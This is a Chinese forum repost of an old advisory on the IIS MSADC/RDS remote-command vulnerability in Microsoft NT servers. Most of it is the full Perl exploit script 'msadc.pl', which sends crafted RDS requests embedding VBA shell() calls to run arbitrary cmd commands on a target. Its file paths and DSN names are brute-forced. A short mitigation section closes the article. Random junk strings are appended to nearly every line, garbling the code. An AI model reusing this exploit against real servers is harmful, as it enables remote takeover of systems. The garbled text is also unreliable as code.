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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Ef)yQ  
[{ ~TcT  
涉及程序: NxA)@9Q  
Microsoft NT server =0    
~ G6"3"  
描述: .i Hn5SGA  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 +&i +Mpb  
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详细: S/tIwG ~e3  
如果你没有时间读详细内容的话,就删除: Ig6T g ?  
c:\Program Files\Common Files\System\Msadc\msadcs.dll :j^FJ@2_  
有关的安全问题就没有了。 /.z;\=;[n!  
i'#Gy,R  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 4 %W:  
bZ1 78>J]  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 yuhnYR\`m  
关于利用ODBC远程漏洞的描述,请参看: ~Z'w)!h  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm eq4C+&O&  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 >znRyQ~bM  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp -E4XIn  
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这里不再论述。 iyta;dw9  
>>{FzR  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: %9oYw9 H!  
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 2lVHZ\G  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! "vZ!vt#'Y  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" D BE4&  
^Yj xeNY  
#!perl $%R$ G`.KM  
# &<RpWAk{  
# MSADC/RDS 'usage' (aka exploit) script ~m^ #FJu  
# Xx:F)A8O  
# by rain.forest.puppy {gbn/{  
# L;Z0`mdz  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me wV\gj~U;P  
# beta test and find errors! d5 7i)=  
$(e#aHB  
use Socket; use Getopt::Std; X;v$5UKU  
getopts("e:vd:h:XR", \%args); '6y}ZE[  
4(Iplo*Ys@  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; G  uQ=gN  
03E4cYxt5  
if (!defined $args{h} && !defined $args{R}) { 4k-+?L!/G  
print qq~ *jIqAhs0{  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ' Z0r>.  
-h <host> = host you want to scan (ip or domain) jw<pK4?y  
-d <seconds> = delay between calls, default 1 second 29CINC  
-X = dump Index Server path table, if available /zDi9W*~1  
-v = verbose }v:jncp  
-e = external dictionary file for step 5 %wcSM~w  
?`zXLY9q7  
Or a -R will resume a command session } :=Tm]S  
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~; exit;} LJk%#yV|_  
%1}K""/  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; '52~$z#m  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} w }Uhd ,  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} o*U]v   
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); !l]dR@e  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Wjhvxk  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } &nBa=Enf  
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if (!defined $args{R}){ $ret = &has_msadc; <\kr1qH H  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} iu&wO<)+?  
[ i#zP  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" >SPh2[f  
. "cmd /c "; oF(Lji?m  
$in=<STDIN>; chomp $in; ;qHOOT  
$command="cmd /c " . $in ; y E[#ze  
r'QnX;99T  
if (defined $args{R}) {&load; exit;} 7$h#OV*@,  
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print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 3gd&i  
&try_btcustmr; oy<WsbnS  
-'~ LjA(  
print "\nStep 2: Trying to make our own DSN..."; <! )**  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Hx ,0zS%>  
}!IL]0 q  
print "\nStep 3: Trying known DSNs..."; ]Oq[gBL"A  
&known_dsn; orOt>5}b<  
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print "\nStep 4: Trying known .mdbs..."; 5j~$Mj`  
&known_mdb; Na X   
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if (defined $args{e}){ ;2B{9{  
print "\nStep 5: Trying dictionary of DSN names..."; @E:,lA  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ?-^~f  
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print "Sorry Charley...maybe next time?\n"; ,#pXpAz/  
exit; 0RoU}r@z4  
^Q+g({  
############################################################################## {e|[%reSkg  
Z+@2"%W  
sub sendraw { # ripped and modded from whisker Y nLErJ  
sleep($delay); # it's a DoS on the server! At least on mine... \hCH>*x<  
my ($pstr)=@_; {%_L=2n6  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ^o7;c[E`  
die("Socket problems\n"); M)SEn/T-  
if(connect(S,pack "SnA4x8",2,80,$target)){ w^t/9Nasi  
select(S); $|=1; 8By|@LO  
print $pstr; my @in=<S>; LD!Q8"  
select(STDOUT); close(S); _%QhOY5tv"  
return @in; 6Fe34n]m  
} else { die("Can't connect...\n"); }} }iuWAFZbGS  
j_Yp>=+[  
############################################################################## BCA&mi3q  
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sub make_header { # make the HTTP request o}ZdTf=  
my $msadc=<<EOT `]%|f  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 i>(e}<i  
User-Agent: ACTIVEDATA wiiCd  
Host: $ip eH{[C*  
Content-Length: $clen 8YbE`32  
Connection: Keep-Alive AvW:<}a,  
2k=# om19  
ADCClientVersion:01.06 :Y[LN  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 <i,U )Tt^C  
A{A\RSZ0  
--!ADM!ROX!YOUR!WORLD! ?!+MM&c-n  
Content-Type: application/x-varg [UH||qW  
Content-Length: $reqlen 0\eIQp  
wp&=$Aa)'  
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; $msadc=~s/\n/\r\n/g; @ta7"6p-i@  
return $msadc;} !jTcsN%  
, N)/w1?I  
############################################################################## &G-!qxe  
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sub make_req { # make the RDS request xoN3  
my ($switch, $p1, $p2)=@_; o,)?!{k}  
my $req=""; my $t1, $t2, $query, $dsn; <*qnY7c&N;  
#?S^kM-0  
if ($switch==1){ # this is the btcustmr.mdb query B8}Nvz /  
$query="Select * from Customers where City=" . make_shell(); %rv7Jy   
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . @<elq'2  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Fx2bwut.K  
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elsif ($switch==2){ # this is general make table query 9?SZNL['V  
$query="create table AZZ (B int, C varchar(10))"; U[ 0=L`0e  
$dsn="$p1";} va0{>Dc+  
sr{a(4*\  
elsif ($switch==3){ # this is general exploit table query Eq j_m|@  
$query="select * from AZZ where C=" . make_shell(); jWrj?DV,2N  
$dsn="$p1";} ye,>A.  
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elsif ($switch==4){ # attempt to hork file info from index server p"KFJ  
$query="select path from scope()"; ()6wvu}  
$dsn="Provider=MSIDXS;";} >7QvK3S4%  
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elsif ($switch==5){ # bad query XzEc2)0'v  
$query="select"; eLfk\kk]Pc  
$dsn="$p1";} XMxSQ B1  
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$t1= make_unicode($query); 0|{u{w@!`  
$t2= make_unicode($dsn);  @fl-3q  
$req = "\x02\x00\x03\x00"; lIW }EM  
$req.= "\x08\x00" . pack ("S1", length($t1)); Q|#W#LV,K  
$req.= "\x00\x00" . $t1 ; pu2 tY7J a  
$req.= "\x08\x00" . pack ("S1", length($t2)); FG.em  
$req.= "\x00\x00" . $t2 ; mj W8 Q\D  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; xe^Gs]fm  
return $req;} J1C3&t}  
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############################################################################## n $$SNWgM  
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sub make_shell { # this makes the shell() statement +JjW_Rl?=V  
return "'|shell(\"$command\")|'";} h4 T5+~rw  
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############################################################################## hoK>~:;  
&m-PC(W+  
sub make_unicode { # quick little function to convert to unicode wea-zN  
my ($in)=@_; my $out; RBs-_o+%  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } jIC_[  
return $out;} DH\0z[  
:bwjJ}F  
############################################################################## TJK[ev};S  
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sub rdo_success { # checks for RDO return success (this is kludge) /|C*  
my (@in) = @_; my $base=content_start(@in); A%KDiIA  
if($in[$base]=~/multipart\/mixed/){ :~Wrf8 UQ  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} $w2u3 -  
return 0;} pNepC<rY  
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############################################################################## kmP]SO?tx  
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sub make_dsn { # this makes a DSN for us "s0)rqf<  
my @drives=("c","d","e","f"); 2$+bJJM  
print "\nMaking DSN: "; cW@Zd5&0S  
foreach $drive (@drives) { +ElfZ4  
print "$drive: "; hT`J1nNt  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . K|zZS%?$  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 6jE |  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); JtYP E?  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; IzikDc10  
return 0 if $2 eq "404"; # not found/doesn't exist )dbB =OZ  
if($2 eq "200") { a{^m-fSaR"  
foreach $line (@results) { gQWa24  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} hYPl&^  
} return 0;} I*{4rDt  
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##############################################################################  P5a4ze  
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sub verify_exists { TC!Yb_H}gN  
my ($page)=@_; Mm.<r-b  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 8i>ZY  
return $results[0];} R!\_rc1/  
vK|E>nL  
############################################################################## 8@i7pBl@  
$WyD^|~SF  
sub try_btcustmr { Qu?R8+"KS  
my @drives=("c","d","e","f"); %7zuQ \w  
my @dirs=("winnt","winnt35","winnt351","win","windows"); _}lZ,L(w  
Uc7mOa}4  
foreach $dir (@dirs) { k1w_[w [  
print "$dir -> "; # fun status so you can see progress 6& e3Nt  
foreach $drive (@drives) { i2E )P x  
print "$drive: "; # ditto ehzM) uK  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; "c3Grfoz  
$reqlenlen=length( "$reqlen" ); 0b+Wc43}K  
$clen= 206 + $reqlenlen + $reqlen; Jj!vh{  
I4/8 _)b^  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); IHam4$~-  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} '&x#rjo#  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} mHV%I@`Y6  
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############################################################################## @e(o129  
+giyX7BPJ  
sub odbc_error { {@6= Q 6L  
my (@in)=@_; my $base; G`SUxhCk  
my $base = content_start(@in); K0-ypU*P  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 6t>.[Y"v  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; D>/0v8  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; )j9SGLo  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; hL/)|N~  
return $in[$base+4].$in[$base+5].$in[$base+6];} K&POyOvT  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; e- :yb^  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 7S '% E  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} W5EDVP ur  
mg^I=kpk  
############################################################################## ~zHjMo2  
=5J7Hw&K  
sub verbose { e<3K;Q  
my ($in)=@_;  aC$B2  
return if !$verbose; R<\F:9  
print STDOUT "\n$in\n";} RN$1bxY  
d/PiiiFf,  
############################################################################## x'+T/zw  
|jI#"LbF  
sub save { xf<at->  
my ($p1, $p2, $p3, $p4)=@_; mw_~*Nc'9  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; tjIl-IQ  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; a|%J=k>>  
close OUT;} 9>l*lCA  
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############################################################################## +ln9c  
+]*zlE\N`  
sub load { ozmrw\_}[  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 13=A  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); [$qyF|/K`n  
@p=<IN>; close(IN); v25R_""~  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 7|{}\w(I  
$target= inet_aton($ip) || die("inet_aton problems"); ;nep5!s;<  
print "Resuming to $ip ..."; "fG8?)d;  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; N >FKy'.gk  
if($p[1]==1) { !TAlB kj  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; <v)1<*I  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; DK$X2B"cV  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); JLnH&(O  
if (rdo_success(@results)){print "Success!\n";} {K+i cTL3  
else { print "failed\n"; verbose(odbc_error(@results));}} >"|B9Woc  
elsif ($p[1]==3){ CnpV:>V=  
if(run_query("$p[3]")){ *!q1Kr6r  
print "Success!\n";} else { print "failed\n"; }} C`$n[kCJ  
elsif ($p[1]==4){ l n{e1':$"  
if(run_query($drvst . "$p[3]")){ d;zai]]  
print "Success!\n"; } else { print "failed\n"; }} `P@T$bC  
exit;} G/b^|;41  
wG~`[>y (  
############################################################################## 3vuivU.3  
p2ogn}`  
sub create_table { LCZ\4g05  
my ($in)=@_; &|Bc7+/P  
$reqlen=length( make_req(2,$in,"") ) - 28; _y),J'W^3u  
$reqlenlen=length( "$reqlen" ); tz5e"+Tz  
$clen= 206 + $reqlenlen + $reqlen; O~T@rX9f  
my @results=sendraw(make_header() . make_req(2,$in,"")); k`So -e-  
return 1 if rdo_success(@results); /M|2 62%  
my $temp= odbc_error(@results); verbose($temp); k jg~n9#T  
return 1 if $temp=~/Table 'AZZ' already exists/; 48:>NW  
return 0;} xDG2ws=@D  
+ fC=UAZ  
############################################################################## u$>4F|=T  
/RNIIY~w  
sub known_dsn { wfNk=)^$  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go RX>xB  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", dYG,_ji  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Fpm|_f7  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); y`\@N"Cf  
 `7 vHt`  
foreach $dSn (@dsns) { :Pvzl1  
print "."; gYNjzew'  
next if (!is_access("DSN=$dSn")); R@/"B8H  
if(create_table("DSN=$dSn")){ $CY~5A`l9  
print "$dSn successful\n"; @aAW*D~-J  
if(run_query("DSN=$dSn")){ 8D>n1b(H  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { :# .<[  
print "Something's borked. Use verbose next time\n";}}} print "\n";} u])b,9&En  
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############################################################################## TOkp%@9/  
le1}0 L  
sub is_access { C69q&S,  
my ($in)=@_; HW=C),*]cR  
$reqlen=length( make_req(5,$in,"") ) - 28; P#R R9>Q  
$reqlenlen=length( "$reqlen" ); ^Y@\1fX 4e  
$clen= 206 + $reqlenlen + $reqlen; VXYK?Qc'  
my @results=sendraw(make_header() . make_req(5,$in,"")); S& S Q  
my $temp= odbc_error(@results); OHeT,@(mh  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 8"U. Hnu  
return 0;} Fgp]l2*  
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############################################################################## v{(^1cX  
7uKNd *%  
sub run_query { { &"CH]r  
my ($in)=@_; X#*JWQO=  
$reqlen=length( make_req(3,$in,"") ) - 28; U> cV|  
$reqlenlen=length( "$reqlen" ); \!k1a^ZP  
$clen= 206 + $reqlenlen + $reqlen; N.\- 8?>  
my @results=sendraw(make_header() . make_req(3,$in,"")); {>R:vH 8  
return 1 if rdo_success(@results); &X|#R1\  
my $temp= odbc_error(@results); verbose($temp); *]AdUEV?  
return 0;} -db_E#  
P+s !|7'  
############################################################################## P* w9 ,  
}\%Fi/6Z{  
sub known_mdb { $ {O#  
my @drives=("c","d","e","f","g"); Km(n7Ah"  
my @dirs=("winnt","winnt35","winnt351","win","windows"); $"FQj4%d  
my $dir, $drive, $mdb; m;'6MHx;  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; PK{acen  
jF0jkj1&/[  
# this is sparse, because I don't know of many EH256f(&  
my @sysmdbs=( "\\catroot\\icatalog.mdb", gu0j.XS^  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", \9cG36  
"\\system32\\certmdb.mdb", eM$sv9?  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% [Jogt#Fj ]  
?\t#1"d  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", %/|9@er  
"\\cfusion\\cfapps\\forums\\forums_.mdb", W+PJZn  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", } ud0&Oe{  
"\\cfusion\\cfapps\\security\\realm_.mdb", kMb}1J0i"  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", P!H_1RwXKC  
"\\cfusion\\database\\cfexamples.mdb", l8I /0`_  
"\\cfusion\\database\\cfsnippets.mdb",  swK-/$#  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", [P&7i57  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", mS^tX i5hg  
"\\cfusion\\brighttiger\\database\\cleam.mdb", $oj:e?8N  
"\\cfusion\\database\\smpolicy.mdb", PmKeF}  
"\\cfusion\\database\cypress.mdb", %>~sJ0  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", KVn []@#  
"\\website\\cgi-win\\dbsample.mdb", i+p^ ^t\  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ,cB\  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" +z9Q-d%O  
); #these are just Q4+gAS9  
foreach $drive (@drives) { Y~L2  
foreach $dir (@dirs){ }s(N6a&(  
foreach $mdb (@sysmdbs) { ~\Hc,5G  
print "."; aMtsmL?=  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ JT3-AAi[Z  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ^>i63Yc  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ K_RjX>q%N  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; +89*)pk   
} else { print "Something's borked. Use verbose next time\n"; }}}}} 1guJG_;z  
| N[<x@  
foreach $drive (@drives) { t5y;CxL  
foreach $mdb (@mdbs) { NWMFtT  
print "."; [R=yF ~-  
if(create_table($drv . $drive . $dir . $mdb)){ iV&6nh(  
print "\n" . $drive . $dir . $mdb . " successful\n"; x4E7X_  
if(run_query($drv . $drive . $dir . $mdb)){ ldiD2 Q  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Fs9I7~L3  
} else { print "Something's borked. Use verbose next time\n"; }}}} "uaMk}[ <!  
} lfqiyYFm  
t m7^yn:  
############################################################################## f"%{%M$K  
+y&Tf#.V/A  
sub hork_idx { ]ooIr Y8  
print "\nAttempting to dump Index Server tables...\n"; )}"wesNo".  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; _#r+ !e  
$reqlen=length( make_req(4,"","") ) - 28; E`?3PA8  
$reqlenlen=length( "$reqlen" ); .P[ _<8  
$clen= 206 + $reqlenlen + $reqlen; Cj{1H([-  
my @results=sendraw2(make_header() . make_req(4,"","")); }+C2I  
if (rdo_success(@results)){ H@%GSE  
my $max=@results; my $c; my %d; ?QFpv #4  
for($c=19; $c<$max; $c++){ G+X Sfr  
$results[$c]=~s/\x00//g; xlA$:M&  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; vUohtS*  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 3Nq N \5B:  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; dwDcR,z?a  
$d{"$1$2"}="";} u*Pibgd<  
foreach $c (keys %d){ print "$c\n"; } J|~MC7#@q  
} else {print "Index server doesn't seem to be installed.\n"; }} ? }kG`q  
hRUhX[  
############################################################################## YVHm{A1b0  
FB{KH .  
sub dsn_dict { -OapVac  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ;#vKi0V7  
while(<IN>){ whi`Z:~  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 23Nw!6S  
next if (!is_access("DSN=$dSn")); \$*7 >`k  
if(create_table("DSN=$dSn")){ ]x(e&fyHB  
print "$dSn successful\n";  |8My42yf  
if(run_query("DSN=$dSn")){ u~WVGjoQ  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { EfCx`3~EX  
print "Something's borked. Use verbose next time\n";}}} Hn5|B 3vN  
print "\n"; close(IN);} @d mV  
Exc9` 7%.  
############################################################################## va}Pj#=  
G 8g<>d{j  
sub sendraw2 { # ripped and modded from whisker @ycDCB(D}  
sleep($delay); # it's a DoS on the server! At least on mine... ;/r1}tl+3>  
my ($pstr)=@_; xKuRh}^K  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 8~J(](QA  
die("Socket problems\n"); 0yuS3VY)  
if(connect(S,pack "SnA4x8",2,80,$target)){ {^\+iK4bS  
print "Connected. Getting data"; 6W]9$n\"?  
open(OUT,">raw.out"); my @in; ABD)}n=%c  
select(S); $|=1; print $pstr; e?JW   
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 1~Oe=`{&  
close(OUT); select(STDOUT); close(S); return @in; q*_/to  
} else { die("Can't connect...\n"); }} &#!4XOyB  
925|bX6I  
############################################################################## }BZ"S-hZ  
KKiE@_z  
sub content_start { # this will take in the server headers 18+)`M-5o  
my (@in)=@_; my $c; eZIhEOF  
for ($c=1;$c<500;$c++) { AiEd!u.  
if($in[$c] =~/^\x0d\x0a/){ WtG~('g>&  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } DU5c=rxW  
else { return $c+1; }}} [AYOYENp-  
return -1;} # it should never get here actually k1{K*O$e  
wt!nMQ  
############################################################################## /s@oZ{h  
VyzS^AH K  
sub funky { "alyfyBu'M  
my (@in)=@_; my $error=odbc_error(@in); a yCY~=i  
if($error=~/ADO could not find the specified provider/){ JtEo'As:[  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 1IC~e^"  
exit;} 5ni~Q 9b  
if($error=~/A Handler is required/){ T 6)bD&  
print "\nServer has custom handler filters (they most likely are patched)\n"; b{L/4bu  
exit;} Ta(Y:*Ri  
if($error=~/specified Handler has denied Access/){ [d(U38BI  
print "\nServer has custom handler filters (they most likely are patched)\n"; nbm&wa[  
exit;}} 1FlX'[vh  
U+:m4a  
############################################################################## _+K_5IO4  
}1Gv)l7  
sub has_msadc { Cd,jDPrw  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); FbS|~Rp~  
my $base=content_start(@results); gW>uR3Ca4  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/);  gQ'zW  
return 0;} ^p[rc@+  
?OcJ )5C4  
######################## UTH*bL5/J2  
kCR_tn 4  
o4m\~as)Y  
解决方案: k5:G-BQ:  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 9 Vkb>yFX'  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 )wC?T  
B:'J `M"N  
拿出来充数 哈哈
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